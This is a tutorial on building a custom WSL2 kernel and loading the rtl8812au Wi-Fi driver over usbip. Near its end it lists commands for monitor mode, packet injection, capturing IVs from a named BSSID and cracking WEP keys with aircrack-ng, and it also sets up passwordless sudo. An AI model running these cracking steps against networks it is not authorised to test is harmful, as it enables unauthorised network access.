📌 This tutorial demonstrates how to build and use a custom kernel for WSL2 distros.
- Disable password prompt when using
sudo
command :
echo "kevin ALL=(ALL) NOPASSWD: ALL" | sudo tee -a /etc/sudoers.d/010_kevin-nopasswd > /dev/null
- Update the system :
sudo apt update && sudo apt upgrade
- Install useful packages :
sudo apt install bash-completion build-essential gcc g++ avr-libc avrdude default-jre default-jdk git clang make nano xz-utils usbip wget
source .bashrc
- Install Kali packages :
sudo apt install kali-linux-large
- Setup remote access :
sudo apt install kali-win-kex
kex --esm -s
- Install required packages :
sudo apt install flex bison libssl-dev libelf-dev git dwarves bc
- Download official WSL2 kernel and prepare the installation :
wget https://github.com/microsoft/WSL2-Linux-Kernel/archive/refs/tags/linux-msft-wsl-$(uname -r | cut -d- -f 1).tar.gz
tar -xvf linux-msft-wsl-$(uname -r | cut -d- -f 1).tar.gz
cd WSL2-Linux-Kernel-linux-msft-wsl-$(uname -r | cut -d- -f 1)
cat /proc/config.gz | gunzip > .config
make prepare modules_prepare -j $(expr $(nproc) - 1)
- Open the kernel's configuration menu to add
cfg80211
wireless modules (802.11 protocols) :
make menuconfig -j $(expr $(nproc) - 1)
- Build and install modules :
make modules -j $(expr $(nproc) - 1)
sudo make modules_install
make -j $(expr $(nproc) - 1)
sudo make install
Note : Kernel headers are going to be installed in the /lib/modules/
directory.
- Copy the built kernel image to
C:\Users\<User>\
:
cp vmlinux /mnt/c/Users/Kevin/
- Create a
.wslconfig
file to declare the new kernel :
nano /mnt/c/Users/Kevin/.wslconfig
- Paste the following content into this file :
[wsl2]
kernel=C:\\Users\\Kevin\\vmlinux
- Switch to Powershell and shutdown running WSL2 distros :
wsl --shutdown
🚩 When a WSL2 distro will be rebooted, the default WSL2 kernel located in C:\Windows\System32\lxss\tools\kernel
will be replaced by the newly built kernel.
Note : This example illustrates how to build and load the rtl8812au
module to the WSL2 kernel.
- Clone the
aircrack-ng/rtl8812au
Github repository :
git clone https://github.com/aircrack-ng/rtl8812au
cd rtl8812au
- Build the module with the new kernel headers :
sudo make
✅ This commands generates a .ko
file which correspond to the built module.
/lib/modules/$(uname -r)/build
directory.
You can check your WSL2 version by running uname -r
.
Test : Enable cfg80211
and 88XXau.ko
modules :
sudo modprobe cfg80211
sudo insmod 88XXau.ko
lsmod
cfg80211
module must be loaded before 88XXau.ko
.
- Install the module :
sudo mkdir -p /lib/modules/$(uname -r)/kernel/drivers/net/wireless
sudo make install
Note : Now, sudo modprobe 88XXau
command will work.
- Enable the module :
sudo modprobe 88XXau
- Add modules that need to be loaded at boot time to the
/etc/modules-load.d/
directory :
echo "cfg80211" | sudo tee -a /etc/modules-load.d/cfg80211.conf
echo "88XXau" | sudo tee -a /etc/modules-load.d/88XXau.conf
.ko
extension to the module name.
- Attach a USB device using
usbip
:
sudo usbip list --remote=<IP>
sudo usbip attach --remote=<IP> --busid=<BUS-ID>
ip a
- Install
aircrack-ng
packages :
sudo apt install aircrack-ng pciutils
- Set the adapter in monitor mode :
sudo airmon-ng
sudo ip link set wlan0 stop
sudo airmon-ng start wlan0
- Search WEP networks with
airodump-ng
:
sudo airodump-ng wlan0 --encrypt WEP
- Test wireless packet injection :
sudo aireplay-ng -9 -e [SSID] -a [BSSID] --ignore-negative-one wlan0
- Capture IVs and decode WEP key :
sudo besside-ng -c 11 -b 82:A9:40:96:BE:48 wlan0
- Launch
aircrack-ng
to crack WEP key :
sudo aircrack-ng wep.cap
- Disable monitor mode on
wlan0
interface :
airmon-ng stop wlan0
- Detach USB device :
sudo usbip port
sudo usbip detach --port=
- Create and edit a file called
musb
:
nano musb
- Add the following content to this file :
#!/bin/bash
if ! [ $(id -u) = 0 ]; then
echo "The script need to be run as root." >&2
exit 1
fi
echo "Enter the IP address of the foreign device :"
read ip
echo ""
usbip list -r $ip
echo "Enter the name of the shared USB device to import :"
read usb
echo ""
usbip attach -r $ip -b $usb
sleep 1
usbip port
- Add execution permissions to the file :
chmod +x musb
- Run the script :
sudo ./musb
- Create and edit a file called
musb
:
nano uusb
- Add the following content to this file :
#!/bin/bash
if ! [ $(id -u) = 0 ]; then
echo "The script need to be run as root." >&2
exit 1
fi
usbip port
echo ""
echo "Enter the USB device to detach :"
read usb
echo ""
usbip detach -p $usb
sleep 1
usbip port
- Add execution permissions to the file :
chmod +x uusb
- Run the script :
sudo ./uusb
- Microsoft Github Repository - WSL2-Linux-Kernel
- WSL2
/lib/modules
Stack Exchange Discussion - Github Gist - Custom WSL2 Kernel Build
RTL8812AU
Driver Installation On RPI- Basic
RTL8812AU
Drive Configuration aircrack-ng
Deauthentication Attack- WEP Wi-Fi Network Cracking
- Windows
aireplay-ng
Packet Injection - Wireless Capture On Windows
- NPCAP Developer Guide
- USB-IP For Windows
- WSL2 Setup Guide
- Kali Tools Guide